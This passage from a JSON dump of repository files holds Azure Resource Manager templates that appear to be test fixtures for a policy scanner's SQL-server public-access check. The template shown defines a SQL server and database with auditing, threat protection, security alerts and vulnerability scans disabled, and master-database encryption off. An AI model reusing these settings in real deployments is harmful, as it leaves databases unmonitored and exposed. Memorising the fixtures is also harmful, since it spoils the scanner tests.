\"recurringScans\": {\n                    \"isEnabled\": false,\n                    \"emailSubscriptionAdmins\": true\n                },\n                \"storageContainerPath\": \"[parameters('vulnerabilityAssessments_Default_storageContainerPath')]\"\n            }\n        },\n        {\n            \"type\": \"Microsoft.Sql/servers/databases/advancedThreatProtectionSettings\",\n            \"apiVersion\": \"2022-11-01-preview\",\n            \"name\": \"[concat(parameters('servers_exampleamssqlserver_name'), '/mydatabase/Default')]\",\n            \"dependsOn\": [\n                \"[resourceId('Microsoft.Sql/servers/databases', parameters('servers_exampleamssqlserver_name'), 'mydatabase')]\",\n                \"[resourceId('Microsoft.Sql/servers', parameters('servers_exampleamssqlserver_name'))]\"\n            ],\n            \"properties\": {\n                \"state\": \"Disabled\"\n            }\n        },\n        {\n            \"type\": \"Microsoft.Sql/servers/databases/advisors\",\n            \"apiVersion\": \"2014-04-01\",\n            \"name\": \"[concat(parameters('servers_exampleamssqlserver_name'), '/mydatabase/CreateIndex')]\",\n            \"dependsOn\": [\n                \"[resourceId('Microsoft.Sql/servers/databases', parameters('servers_exampleamssqlserver_name'), 'mydatabase')]\",\n                \"[resourceId('Microsoft.Sql/servers', parameters('servers_exampleamssqlserver_name'))]\"\n            ],\n            \"properties\": {\n                \"autoExecuteValue\": \"Disabled\"\n            }\n        },\n        {\n            \"type\": \"Microsoft.Sql/servers/databases/advisors\",\n            \"apiVersion\": \"2014-04-01\",\n            \"name\": \"[concat(parameters('servers_exampleamssqlserver_name'), '/mydatabase/DbParameterization')]\",\n            \"dependsOn\": [\n                \"[resourceId('Microsoft.Sql/servers/databases', parameters('servers_exampleamssqlserver_name'), 'mydatabase')]\",\n                \"[resourceId('Microsoft.Sql/servers', parameters('servers_exampleamssqlserver_name'))]\"\n            ],\n            \"properties\": {\n                \"autoExecuteValue\": \"Disabled\"\n            }\n        },\n        {\n            \"type\": \"Microsoft.Sql/servers/databases/advisors\",\n            \"apiVersion\": \"2014-04-01\",\n            \"name\": \"[concat(parameters('servers_exampleamssqlserver_name'), '/mydatabase/DefragmentIndex')]\",\n            \"dependsOn\": [\n                \"[resourceId('Microsoft.Sql/servers/databases', parameters('servers_exampleamssqlserver_name'), 'mydatabase')]\",\n                \"[resourceId('Microsoft.Sql/servers', parameters('servers_exampleamssqlserver_name'))]\"\n            ],\n            \"properties\": {\n                \"autoExecuteValue\": \"Disabled\"\n            }\n        },\n        {\n            \"type\": \"Microsoft.Sql/servers/databases/advisors\",\n            \"apiVersion\": \"2014-04-01\",\n            \"name\": \"[concat(parameters('servers_exampleamssqlserver_name'), '/mydatabase/DropIndex')]\",\n            \"dependsOn\": [\n                \"[resourceId('Microsoft.Sql/servers/databases', parameters('servers_exampleamssqlserver_name'), 'mydatabase')]\",\n                \"[resourceId('Microsoft.Sql/servers', parameters('servers_exampleamssqlserver_name'))]\"\n            ],\n            \"properties\": {\n                \"autoExecuteValue\": \"Disabled\"\n            }\n        },\n        {\n            \"type\": \"Microsoft.Sql/servers/databases/advisors\",\n            \"apiVersion\": \"2014-04-01\",\n            \"name\": \"[concat(parameters('servers_exampleamssqlserver_name'), '/mydatabase/ForceLastGoodPlan')]\",\n            \"dependsOn\": [\n                \"[resourceId('Microsoft.Sql/servers/databases', parameters('servers_exampleamssqlserver_name'), 'mydatabase')]\",\n                \"[resourceId('Microsoft.Sql/servers', parameters('servers_exampleamssqlserver_name'))]\"\n            ],\n            \"properties\": {\n                \"autoExecuteValue\": \"Enabled\"\n            }\n        },\n        {\n            \"type\": \"Microsoft.Sql/servers/databases/auditingPolicies\",\n            \"apiVersion\": \"2014-04-01\",\n            \"name\": \"[concat(parameters('servers_exampleamssqlserver_name'), '/mydatabase/Default')]\",\n            \"location\": \"West US\",\n            \"dependsOn\": [\n                \"[resourceId('Microsoft.Sql/servers/databases', parameters('servers_exampleamssqlserver_name'), 'mydatabase')]\",\n                \"[resourceId('Microsoft.Sql/servers', parameters('servers_exampleamssqlserver_name'))]\"\n            ],\n            \"properties\": {\n                \"auditingState\": \"Disabled\"\n            }\n        },\n        {\n            \"type\": \"Microsoft.Sql/servers/databases/auditingSettings\",\n            \"apiVersion\": \"2022-11-01-preview\",\n            \"name\": \"[concat(parameters('servers_exampleamssqlserver_name'), '/mydatabase/Default')]\",\n            \"dependsOn\": [\n                \"[resourceId('Microsoft.Sql/servers/databases', parameters('servers_exampleamssqlserver_name'), 'mydatabase')]\",\n                \"[resourceId('Microsoft.Sql/servers', parameters('servers_exampleamssqlserver_name'))]\"\n            ],\n            \"properties\": {\n                \"retentionDays\": 0,\n                \"isAzureMonitorTargetEnabled\": false,\n                \"state\": \"Disabled\",\n                \"storageAccountSubscriptionId\": \"00000000-0000-0000-0000-000000000000\"\n            }\n        },\n        {\n            \"type\": \"Microsoft.Sql/servers/databases/backupLongTermRetentionPolicies\",\n            \"apiVersion\": \"2022-11-01-preview\",\n            \"name\": \"[concat(parameters('servers_exampleamssqlserver_name'), '/mydatabase/default')]\",\n            \"dependsOn\": [\n                \"[resourceId('Microsoft.Sql/servers/databases', parameters('servers_exampleamssqlserver_name'), 'mydatabase')]\",\n                \"[resourceId('Microsoft.Sql/servers', parameters('servers_exampleamssqlserver_name'))]\"\n            ],\n            \"properties\": {\n                \"weeklyRetention\": \"PT0S\",\n                \"monthlyRetention\": \"PT0S\",\n                \"yearlyRetention\": \"PT0S\",\n                \"weekOfYear\": 0\n            }\n        },\n        {\n            \"type\": \"Microsoft.Sql/servers/databases/backupShortTermRetentionPolicies\",\n            \"apiVersion\": \"2022-11-01-preview\",\n            \"name\": \"[concat(parameters('servers_exampleamssqlserver_name'), '/mydatabase/default')]\",\n            \"dependsOn\": [\n                \"[resourceId('Microsoft.Sql/servers/databases', parameters('servers_exampleamssqlserver_name'), 'mydatabase')]\",\n                \"[resourceId('Microsoft.Sql/servers', parameters('servers_exampleamssqlserver_name'))]\"\n            ],\n            \"properties\": {\n                \"retentionDays\": 7,\n                \"diffBackupIntervalInHours\": 12\n            }\n        },\n        {\n            \"type\": \"Microsoft.Sql/servers/databases/extendedAuditingSettings\",\n            \"apiVersion\": \"2022-11-01-preview\",\n            \"name\": \"[concat(parameters('servers_exampleamssqlserver_name'), '/mydatabase/Default')]\",\n            \"dependsOn\": [\n                \"[resourceId('Microsoft.Sql/servers/databases', parameters('servers_exampleamssqlserver_name'), 'mydatabase')]\",\n                \"[resourceId('Microsoft.Sql/servers', parameters('servers_exampleamssqlserver_name'))]\"\n            ],\n            \"properties\": {\n                \"retentionDays\": 0,\n                \"isAzureMonitorTargetEnabled\": false,\n                \"state\": \"Disabled\",\n                \"storageAccountSubscriptionId\": \"00000000-0000-0000-0000-000000000000\"\n            }\n        },\n        {\n            \"type\": \"Microsoft.Sql/servers/databases/geoBackupPolicies\",\n            \"apiVersion\": \"2022-11-01-preview\",\n            \"name\": \"[concat(parameters('servers_exampleamssqlserver_name'), '/mydatabase/Default')]\",\n            \"dependsOn\": [\n                \"[resourceId('Microsoft.Sql/servers/databases', parameters('servers_exampleamssqlserver_name'), 'mydatabase')]\",\n                \"[resourceId('Microsoft.Sql/servers', parameters('servers_exampleamssqlserver_name'))]\"\n            ],\n            \"properties\": {\n                \"state\": \"Enabled\"\n            }\n        },\n        {\n            \"type\": \"Microsoft.Sql/servers/databases/ledgerDigestUploads\",\n            \"apiVersion\": \"2022-11-01-preview\",\n            \"name\": \"[concat(parameters('servers_exampleamssqlserver_name'), '/mydatabase/Current')]\",\n            \"dependsOn\": [\n                \"[resourceId('Microsoft.Sql/servers/databases', parameters('servers_exampleamssqlserver_name'), 'mydatabase')]\",\n                \"[resourceId('Microsoft.Sql/servers', parameters('servers_exampleamssqlserver_name'))]\"\n            ],\n            \"properties\": {}\n        },\n        {\n            \"type\": \"Microsoft.Sql/servers/databases/securityAlertPolicies\",\n            \"apiVersion\": \"2022-11-01-preview\",\n            \"name\": \"[concat(parameters('servers_exampleamssqlserver_name'), '/mydatabase/Default')]\",\n            \"dependsOn\": [\n                \"[resourceId('Microsoft.Sql/servers/databases', parameters('servers_exampleamssqlserver_name'), 'mydatabase')]\",\n                \"[resourceId('Microsoft.Sql/servers', parameters('servers_exampleamssqlserver_name'))]\"\n            ],\n            \"properties\": {\n                \"state\": \"Disabled\",\n                \"disabledAlerts\": [\n                    \"\"\n                ],\n                \"emailAddresses\": [\n                    \"\"\n                ],\n                \"emailAccountAdmins\": false,\n                \"retentionDays\": 0\n            }\n        },\n        {\n            \"type\": \"Microsoft.Sql/servers/databases/transparentDataEncryption\",\n            \"apiVersion\": \"2022-11-01-preview\",\n            \"name\": \"[concat(parameters('servers_exampleamssqlserver_name'), '/mydatabase/Current')]\",\n            \"dependsOn\": [\n                \"[resourceId('Microsoft.Sql/servers/databases', parameters('servers_exampleamssqlserver_name'), 'mydatabase')]\",\n                \"[resourceId('Microsoft.Sql/servers', parameters('servers_exampleamssqlserver_name'))]\"\n            ],\n            \"properties\": {\n                \"state\": \"Enabled\"\n            }\n        },\n        {\n            \"type\": \"Microsoft.Sql/servers/databases/vulnerabilityAssessments\",\n            \"apiVersion\": \"2022-11-01-preview\",\n            \"name\": \"[concat(parameters('servers_exampleamssqlserver_name'), '/mydatabase/Default')]\",\n            \"dependsOn\": [\n                \"[resourceId('Microsoft.Sql/servers/databases', parameters('servers_exampleamssqlserver_name'), 'mydatabase')]\",\n                \"[resourceId('Microsoft.Sql/servers', parameters('servers_exampleamssqlserver_name'))]\"\n            ],\n            \"properties\": {\n                \"recurringScans\": {\n                    \"isEnabled\": false,\n                    \"emailSubscriptionAdmins\": true\n                }\n            }\n        }\n    ]\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_SQLServerHasPublicAccessDisabled/pass.json",
    "content": "{\n    \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n    \"contentVersion\": \"1.0.0.0\",\n    \"parameters\": {\n        \"vulnerabilityAssessments_Default_storageContainerPath\": {\n            \"type\": \"SecureString\"\n        },\n        \"servers_exampleamssqlserver_name\": {\n            \"defaultValue\": \"exampleamssqlserver\",\n            \"type\": \"String\"\n        }\n    },\n    \"variables\": {},\n    \"resources\": [\n        {\n            \"type\": \"Microsoft.Sql/servers\",\n            \"apiVersion\": \"2022-11-01-preview\",\n            \"name\": \"pass\",\n            \"location\": \"westus\",\n            \"tags\": {\n                \"createdby\": \"terraform\",\n                \"module\": \"terraform-azurerm-mssqlserver\"\n            },\n            \"kind\": \"v12.0\",\n            \"identity\": {\n                \"type\": \"SystemAssigned\"\n            },\n            \"properties\": {\n                \"administratorLogin\": \"supaman\",\n                \"version\": \"12.0\",\n                \"minimalTlsVersion\": \"1.2\",\n                \"publicNetworkAccess\": \"Disabled\",\n                \"restrictOutboundNetworkAccess\": \"Disabled\"\n            }\n        },\n        {\n            \"type\": \"Microsoft.Sql/servers/advancedThreatProtectionSettings\",\n            \"apiVersion\": \"2022-11-01-preview\",\n            \"name\": \"[concat(parameters('servers_exampleamssqlserver_name'), '/Default')]\",\n            \"dependsOn\": [\n                \"[resourceId('Microsoft.Sql/servers', parameters('servers_exampleamssqlserver_name'))]\"\n            ],\n            \"properties\": {\n                \"state\": \"Disabled\"\n            }\n        },\n        {\n            \"type\": \"Microsoft.Sql/servers/advisors\",\n            \"apiVersion\": \"2014-04-01\",\n            \"name\": \"[concat(parameters('servers_exampleamssqlserver_name'), '/CreateIndex')]\",\n            \"dependsOn\": [\n                \"[resourceId('Microsoft.Sql/servers', parameters('servers_exampleamssqlserver_name'))]\"\n            ],\n            \"properties\": {\n                \"autoExecuteValue\": \"Disabled\"\n            }\n        },\n        {\n            \"type\": \"Microsoft.Sql/servers/advisors\",\n            \"apiVersion\": \"2014-04-01\",\n            \"name\": \"[concat(parameters('servers_exampleamssqlserver_name'), '/DbParameterization')]\",\n            \"dependsOn\": [\n                \"[resourceId('Microsoft.Sql/servers', parameters('servers_exampleamssqlserver_name'))]\"\n            ],\n            \"properties\": {\n                \"autoExecuteValue\": \"Disabled\"\n            }\n        },\n        {\n            \"type\": \"Microsoft.Sql/servers/advisors\",\n            \"apiVersion\": \"2014-04-01\",\n            \"name\": \"[concat(parameters('servers_exampleamssqlserver_name'), '/DefragmentIndex')]\",\n            \"dependsOn\": [\n                \"[resourceId('Microsoft.Sql/servers', parameters('servers_exampleamssqlserver_name'))]\"\n            ],\n            \"properties\": {\n                \"autoExecuteValue\": \"Disabled\"\n            }\n        },\n        {\n            \"type\": \"Microsoft.Sql/servers/advisors\",\n            \"apiVersion\": \"2014-04-01\",\n            \"name\": \"[concat(parameters('servers_exampleamssqlserver_name'), '/DropIndex')]\",\n            \"dependsOn\": [\n                \"[resourceId('Microsoft.Sql/servers', parameters('servers_exampleamssqlserver_name'))]\"\n            ],\n            \"properties\": {\n                \"autoExecuteValue\": \"Disabled\"\n            }\n        },\n        {\n            \"type\": \"Microsoft.Sql/servers/advisors\",\n            \"apiVersion\": \"2014-04-01\",\n            \"name\": \"[concat(parameters('servers_exampleamssqlserver_name'), '/ForceLastGoodPlan')]\",\n            \"dependsOn\": [\n                \"[resourceId('Microsoft.Sql/servers', parameters('servers_exampleamssqlserver_name'))]\"\n            ],\n            \"properties\": {\n                \"autoExecuteValue\": \"Enabled\"\n            }\n        },\n        {\n            \"type\": \"Microsoft.Sql/servers/auditingPolicies\",\n            \"apiVersion\": \"2014-04-01\",\n            \"name\": \"[concat(parameters('servers_exampleamssqlserver_name'), '/Default')]\",\n            \"location\": \"West US\",\n            \"dependsOn\": [\n                \"[resourceId('Microsoft.Sql/servers', parameters('servers_exampleamssqlserver_name'))]\"\n            ],\n            \"properties\": {\n                \"auditingState\": \"Disabled\"\n            }\n        },\n        {\n            \"type\": \"Microsoft.Sql/servers/auditingSettings\",\n            \"apiVersion\": \"2022-11-01-preview\",\n            \"name\": \"[concat(parameters('servers_exampleamssqlserver_name'), '/Default')]\",\n            \"dependsOn\": [\n                \"[resourceId('Microsoft.Sql/servers', parameters('servers_exampleamssqlserver_name'))]\"\n            ],\n            \"properties\": {\n                \"retentionDays\": 0,\n                \"auditActionsAndGroups\": [],\n                \"isStorageSecondaryKeyInUse\": false,\n                \"isAzureMonitorTargetEnabled\": false,\n                \"isManagedIdentityInUse\": false,\n                \"state\": \"Disabled\",\n                \"storageAccountSubscriptionId\": \"00000000-0000-0000-0000-000000000000\"\n            }\n        },\n        {\n            \"type\": \"Microsoft.Sql/servers/connectionPolicies\",\n            \"apiVersion\": \"2022-11-01-preview\",\n            \"name\": \"[concat(parameters('servers_exampleamssqlserver_name'), '/default')]\",\n            \"location\": \"westus\",\n            \"dependsOn\": [\n                \"[resourceId('Microsoft.Sql/servers', parameters('servers_exampleamssqlserver_name'))]\"\n            ],\n            \"properties\": {\n                \"connectionType\": \"Default\"\n            }\n        },\n        {\n            \"type\": \"Microsoft.Sql/servers/databases\",\n            \"apiVersion\": \"2022-11-01-preview\",\n            \"name\": \"[concat(parameters('servers_exampleamssqlserver_name'), '/mydatabase')]\",\n            \"location\": \"westus\",\n            \"dependsOn\": [\n                \"[resourceId('Microsoft.Sql/servers', parameters('servers_exampleamssqlserver_name'))]\"\n            ],\n            \"sku\": {\n                \"name\": \"GP_Gen5\",\n                \"tier\": \"GeneralPurpose\",\n                \"family\": \"Gen5\",\n                \"capacity\": 2\n            },\n            \"kind\": \"v12.0,user,vcore\",\n            \"properties\": {\n                \"collation\": \"SQL_Latin1_General_CP1_CI_AS\",\n                \"maxSizeBytes\": 34359738368,\n                \"catalogCollation\": \"SQL_Latin1_General_CP1_CI_AS\",\n                \"zoneRedundant\": false,\n                \"licenseType\": \"LicenseIncluded\",\n                \"readScale\": \"Disabled\",\n                \"requestedBackupStorageRedundancy\": \"Geo\",\n                \"maintenanceConfigurationId\": \"/subscriptions/037ce662-dfc1-4b8b-a8a7-6c414b540ed6/providers/Microsoft.Maintenance/publicMaintenanceConfigurations/SQL_Default\",\n                \"isLedgerOn\": false,\n                \"availabilityZone\": \"NoPreference\"\n            }\n        },\n        {\n            \"type\": \"Microsoft.Sql/servers/databases/advancedThreatProtectionSettings\",\n            \"apiVersion\": \"2022-11-01-preview\",\n            \"name\": \"[concat(parameters('servers_exampleamssqlserver_name'), '/master/Default')]\",\n            \"dependsOn\": [\n                \"[resourceId('Microsoft.Sql/servers', parameters('servers_exampleamssqlserver_name'))]\"\n            ],\n            \"properties\": {\n                \"state\": \"Disabled\"\n            }\n        },\n        {\n            \"type\": \"Microsoft.Sql/servers/databases/auditingPolicies\",\n            \"apiVersion\": \"2014-04-01\",\n            \"name\": \"[concat(parameters('servers_exampleamssqlserver_name'), '/master/Default')]\",\n            \"location\": \"West US\",\n            \"dependsOn\": [\n                \"[resourceId('Microsoft.Sql/servers', parameters('servers_exampleamssqlserver_name'))]\"\n            ],\n            \"properties\": {\n                \"auditingState\": \"Disabled\"\n            }\n        },\n        {\n            \"type\": \"Microsoft.Sql/servers/databases/auditingSettings\",\n            \"apiVersion\": \"2022-11-01-preview\",\n            \"name\": \"[concat(parameters('servers_exampleamssqlserver_name'), '/master/Default')]\",\n            \"dependsOn\": [\n                \"[resourceId('Microsoft.Sql/servers', parameters('servers_exampleamssqlserver_name'))]\"\n            ],\n            \"properties\": {\n                \"retentionDays\": 0,\n                \"isAzureMonitorTargetEnabled\": false,\n                \"state\": \"Disabled\",\n                \"storageAccountSubscriptionId\": \"00000000-0000-0000-0000-000000000000\"\n            }\n        },\n        {\n            \"type\": \"Microsoft.Sql/servers/databases/extendedAuditingSettings\",\n            \"apiVersion\": \"2022-11-01-preview\",\n            \"name\": \"[concat(parameters('servers_exampleamssqlserver_name'), '/master/Default')]\",\n            \"dependsOn\": [\n                \"[resourceId('Microsoft.Sql/servers', parameters('servers_exampleamssqlserver_name'))]\"\n            ],\n            \"properties\": {\n                \"retentionDays\": 0,\n                \"isAzureMonitorTargetEnabled\": false,\n                \"state\": \"Disabled\",\n                \"storageAccountSubscriptionId\": \"00000000-0000-0000-0000-000000000000\"\n            }\n        },\n        {\n            \"type\": \"Microsoft.Sql/servers/databases/geoBackupPolicies\",\n            \"apiVersion\": \"2022-11-01-preview\",\n            \"name\": \"[concat(parameters('servers_exampleamssqlserver_name'), '/master/Default')]\",\n            \"dependsOn\": [\n                \"[resourceId('Microsoft.Sql/servers', parameters('servers_exampleamssqlserver_name'))]\"\n            ],\n            \"properties\": {\n                \"state\": \"Disabled\"\n            }\n        },\n        {\n            \"type\": \"Microsoft.Sql/servers/databases/ledgerDigestUploads\",\n            \"apiVersion\": \"2022-11-01-preview\",\n            \"name\": \"[concat(parameters('servers_exampleamssqlserver_name'), '/master/Current')]\",\n            \"dependsOn\": [\n                \"[resourceId('Microsoft.Sql/servers', parameters('servers_exampleamssqlserver_name'))]\"\n            ],\n            \"properties\": {}\n        },\n        {\n            \"type\": \"Microsoft.Sql/servers/databases/securityAlertPolicies\",\n            \"apiVersion\": \"2022-11-01-preview\",\n            \"name\": \"[concat(parameters('servers_exampleamssqlserver_name'), '/master/Default')]\",\n            \"dependsOn\": [\n                \"[resourceId('Microsoft.Sql/servers', parameters('servers_exampleamssqlserver_name'))]\"\n            ],\n            \"properties\": {\n                \"state\": \"Disabled\",\n                \"disabledAlerts\": [\n                    \"\"\n                ],\n                \"emailAddresses\": [\n                    \"\"\n                ],\n                \"emailAccountAdmins\": false,\n                \"retentionDays\": 0\n            }\n        },\n        {\n            \"type\": \"Microsoft.Sql/servers/databases/transparentDataEncryption\",\n            \"apiVersion\": \"2022-11-01-preview\",\n            \"name\": \"[concat(parameters('servers_exampleamssqlserver_name'), '/master/Current')]\",\n            \"dependsOn\": [\n                \"[resourceId('Microsoft.Sql/servers', parameters('servers_exampleamssqlserver_name'))]\"\n            ],\n            \"properties\": {\n                \"state\": \"Disabled\"\n            }\n        },\n        {\n            \"type\": \"Microsoft.Sql/servers/databases/vulnerabilityAssessments\",\n            \"apiVersion\": \"2022-11-01-preview\",\n            \"name\": \"[concat(parameters('servers_exampleamssqlserver_name'), '/master/Default')]\",\n            \"dependsOn\": [\n                \"[resourceId('Microsoft.Sql/servers', parameters('servers_exampleamssqlserver_name'))]\"\n            ],\n            \"properties\": {\n                \"recurringScans\": {\n                    \"isEnabled\": false,\n                    \"emailSubscriptionAdmins\": true\n                }\n            }\n        },\n        {\n            \"type\": \"Microsoft.Sql/servers/devOpsAuditingSettings\",\n            \"apiVersion\": \"2022-11-01-preview\",\n            \"name\": \"[concat(parameters('servers_exampleamssqlserver_name'), '/Default')]\",\n            \"dependsOn\": [\n                \"[resourceId('Microsoft.Sql/servers', parameters('servers_exampleamssqlserver_name'))]\"\n            ],\n            \"properties\": {\n                \"isAzureMonitorTargetEnabled\": false,\n                \"isManagedIdentityInUse\": false,\n                \"state\": \"Disabled\",\n                \"storageAccountSubscriptionId\": \"00000000-0000-0000-0000-000000000000\"\n            }\n        },\n        {\n            \"type\": \"Microsoft.Sql/servers/encryptionProtector\",\n            \"apiVersion\": \"2022-11-01-preview\",\n            \"name\": \"[concat(parameters('servers_exampleamssqlserver_name'), '/current')]\",\n            \"dependsOn\": [\n                \"[resourceId('Microsoft.Sql/servers', parameters('servers_exampleamssqlserver_name'))]\"\n            ],\n            \"kind\": \"servicemanaged\",\n            \"properties\": {\n                \"serverKeyName\": \"ServiceManaged\",\n                \"serverKeyType\": \"ServiceManaged\",\n                \"autoRotationEnabled\": false\n            }\n        },\n        {\n            \"type\": \"Microsoft.Sql/servers/extendedAuditingSettings\",\n            \"apiVersion\": \"2022-11-01-preview\",\n            \"name\": \"[concat(parameters('servers_exampleamssqlserver_name'), '/Default')]\",\n            \"dependsOn\": [\n                \"[resourceId('Microsoft.Sql/servers', parameters('servers_exampleamssqlserver_name'))]\"\n            ],\n            \"properties\": {\n                \"retentionDays\": 0,\n                \"auditActionsAndGroups\": [],\n                \"isStorageSecondaryKeyInUse\": false,\n                \"isAzureMonitorTargetEnabled\": false,\n                \"isManagedIdentityInUse\": false,\n                \"state\": \"Disabled\",\n                \"storageAccountSubscriptionId\": \"00000000-0000-0000-0000-000000000000\"\n            }\n        },\n        {\n            \"type\": \"Microsoft.Sql/servers/keys\",\n            \"apiVersion\": \"2022-11-01-preview\",\n            \"name\": \"[concat(parameters('servers_exampleamssqlserver_name'), '/ServiceManaged')]\",\n            \"dependsOn\": [\n                \"[resourceId('Microsoft.Sql/servers', parameters('servers_exampleamssqlserver_name'))]\"\n            ],\n            \"kind\": \"servicemanaged\",\n            \"properties\": {\n                \"serverKeyType\": \"ServiceManaged\"\n            }\n        },\n        {\n            \"type\": \"Microsoft.Sql/servers/securityAlertPolicies\",\n            \"apiVersion\": \"2022-11-01-preview\",\n            \"name\": \"[concat(parameters('servers_exampleamssqlserver_name'), '/Default')]\",\n            \"dependsOn\": [\n                \"[resourceId('Microsoft.Sql/servers', parameters('servers_exampleamssqlserver_name'))]\"\n            ],\n            \"properties\": {\n                \"state\": \"Disabled\",\n                \"disabledAlerts\": [\n                    \"\"\n                ],\n                \"emailAddresses\": [\n                    \"\"\n                ],\n                \"emailAccountAdmins\": false,\n                \"retentionDays\": 0\n            }\n        },\n        {\n            \"type\": \"Microsoft.Sql/servers/sqlVulnerabilityAssessments\",\n            \"apiVersion\": \"2022-11-01-preview\",\n            \"name\": \"[concat(parameters('servers_exampleamssqlserver_name'), '/Default')]\",\n            \"dependsOn\": [\n                \"[resourceId('Microsoft.Sql/servers', parameters('servers_exampleamssqlserver_name'))]\"\n            ],\n            \"properties\": {\n                \"state\": \"Disabled\"\n            }\n        },\n        {\n            \"type\": \"Microsoft.Sql/servers/vulnerabilityAssessments\",\n            \"apiVersion\": \"2022-11-01-preview\",\n            \"name\": \"[concat(parameters('servers_exampleamssqlserver_name'), '/Default')]\",\n            \"dependsOn\": [\n                \"[resourceId('Microsoft.Sql/servers', parameters('servers_exampleamssqlserver_name'))]\"\n            ],\n            \"properties\": {\n                \"recurringScans\": {\n                    \"isEnabled\": false,\n                    \"emailSubscriptionAdmins\": true\n                },\n                \"storageContainerPath\": \"[parameters('vulnerabilityAssessments_Default_storageContainerPath')]\"\n            }\n        },\n        {\n            \"type\": \"Microsoft.Sql/servers/databases/advancedThreatProtectionSettings\",\n            \"apiVersion\": \"2022-11-01-preview\",\n            \"name\": \"[concat(parameters('servers_exampleamssqlserver_name'), '/mydatabase/Default')]\",\n            \"dependsOn\": [\n                \"[resourceId('Microsoft.Sql/servers/databases', parameters('servers_exampleamssqlserver_name'), 'mydatabase')]\",\n                \"[resourceId('Microsoft.Sql/servers', parameters('servers_exampleamssqlserver_name'))]\"\n            ],\n            \"properties\": {\n                \"state\": \"Disabled\"\n            }\n        },\n        {\n            \"type\": \"Microsoft.Sql/servers/databases/advisors\",\n            \"apiVersion\": \"2014-04-01\",\n            \"name\": \"[concat(parameters('servers_exampleamssqlserver_name'), '/mydatabase/CreateIndex')]\",\n            \"dependsOn\": [\n                \"[resourceId('Microsoft.Sql/servers/databases', parameters('servers_exampleamssqlserver_name'), 'mydatabase')]\",\n                \"[resourceId('Microsoft.Sql/servers', parameters('servers_exampleamssqlserver_name'))]\"\n            ],\n            \"properties\": {\n                \"autoExecuteValue\": \"Disabled\"\n            }\n        },\n        {\n            \"type\": \"Microsoft.Sql/servers/databases/advisors\",\n            \"apiVersion\": \"2014-04-01\",\n            \"name\": \"[concat(parameters('servers_exampleamssqlserver_name'), '/mydatabase/DbParameterization')]\",\n            \"dependsOn\": [\n                \"[resourceId('Microsoft.Sql/servers/databases', parameters('servers_exampleamssqlserver_name'), 'mydatabase')]\",\n                \"[resourceId('Microsoft.Sql/servers', parameters('servers_exampleamssqlserver_name'))]\"\n            ],\n            \"properties\": {\n                \"autoExecuteValue\": \"Disabled\"\n            }\n        },\n        {\n            \"type\": \"Microsoft.Sql/servers/databases/advisors\",\n            \"apiVersion\": \"2014-04-01\",\n            \"name\": \"[concat(parameters('servers_exampleamssqlserver_name'), '/mydatabase/DefragmentIndex')]\",\n            \"dependsOn\": [\n                \"[resourceId('Microsoft.Sql/servers/databases', parameters('servers_exampleamssqlserver_name'), 'mydatabase')]\",\n                \"[resourceId('Microsoft.Sql/servers', parameters('servers_exampleamssqlserver_name'))]\"\n            ],\n            \"properties\": {\n                \"autoExecuteValue\": \"Disabled\"\n            }\n        },\n        {\n            \"type\": \"Microsoft.Sql/servers/databases/advisors\",\n            \"apiVersion\": \"2014-04-01\",\n            \"name\": \"[concat(parameters('servers_exampleamssqlserver_name'), '/mydatabase/DropIndex')]\",\n            \"dependsOn\": [\n                \"[resourceId('Microsoft.Sql/servers/databases', parameters('servers_exampleamssqlserver_name'), 'mydatabase')]\",\n                \"[resourceId('Microsoft.Sql/servers', parameters('servers_exampleamssqlserver_name'))]\"\n            ],\n            \"properties\": {\n                \"autoExecuteValue\": \"Disabled\"\n            }\n        },\n        {\n            \"type\": \"Microsoft.Sql/servers/databases/advisors\",\n            \"apiVersion\": \"2014-04-01\",\n            \"name\": \"[concat(parameters('servers_exampleamssqlserver_name'), '/mydatabase/ForceLastGoodPlan')]\",\n            \"dependsOn\": [\n                \"[resourceId('Microsoft.Sql/servers/databases', parameters('servers_exampleamssqlserver_name'), 'mydatabase')]\",\n                \"[resourceId('Microsoft.Sql/servers', parameters('servers_exampleamssqlserver_name'))]\"\n            ],\n            \"properties\": {\n                \"autoExecuteValue\": \"Enabled\"\n            }\n        },\n        {\n            \"type\": \"Microsoft.Sql/servers/databases/auditingPolicies\",\n            \"apiVersion\": \"2014-04-01\",\n            \"name\": \"[concat(parameters('servers_exampleamssqlserver_name'), '/mydatabase/Default')]\",\n            \"location\": \"West US\",\n            \"dependsOn\": [\n                \"[resourceId('Microsoft.Sql/servers/databases', parameters('servers_exampleamssqlserver_name'), 'mydatabase')]\",\n                \"[resourceId('Microsoft.Sql/servers', parameters('servers_exampleamssqlserver_name'))]\"\n            ],\n            \"properties\": {\n                \"auditingState\": \"Disabled\"\n            }\n        },\n        {\n            \"type\": \"Microsoft.Sql/servers/databases/auditingSettings\",\n            \"apiVersion\": \"2022-11-01-preview\",\n            \"name\": \"[concat(parameters('servers_exampleamssqlserver_name'), '/mydatabase/Default')]\",\n            \"dependsOn\": [\n                \"[resourceId('Microsoft.Sql/servers/databases', parameters('servers_exampleamssqlserver_name'), 'mydatabase')]\",\n                \"[resourceId('Microsoft.Sql/servers', parameters('servers_exampleamssqlserver_name'))]\"\n            ],\n            \"properties\": {\n                \"retentionDays\": 0,\n                \"isAzureMonitorTargetEnabled\": false,\n                \"state\": \"Disabled\",\n                \"storageAccountSubscriptionId\": \"00000000-0000-0000-0000-000000000000\"\n            }\n        },\n        {\n            \"type\": \"Microsoft.Sql/servers/databases/backupLongTermRetentionPolicies\",\n            \"apiVersion\": \"2022-11-01-preview\",\n            \"name\": \"[concat(parameters('servers_exampleamssqlserver_name'), '/mydatabase/default')]\",\n            \"dependsOn\": [\n                \"[resourceId('Microsoft.Sql/servers/databases', parameters('servers_exampleamssqlserver_name'), 'mydatabase')]\",\n                \"[resourceId('Microsoft.Sql/servers', parameters('servers_exampleamssqlserver_name'))]\"\n            ],\n            \"properties\": {\n                \"weeklyRetention\": \"PT0S\",\n                \"monthlyRetention\": \"PT0S\",\n                \"yearlyRetention\": \"PT0S\",\n                \"weekOfYear\": 0\n            }\n        },\n        {\n            \"type\": \"Microsoft.Sql/servers/databases/backupShortTermRetentionPolicies\",\n            \"apiVersion\": \"2022-11-01-preview\",\n            \"name\": \"[concat(parameters('servers_exampleamssqlserver_name'), '/mydatabase/default')]\",\n            \"dependsOn\": [\n                \"[resourceId('Microsoft.Sql/servers/databases', parameters('servers_exampleamssqlserver_name'), 'mydatabase')]\",\n                \"[resourceId('Microsoft.Sql/servers', 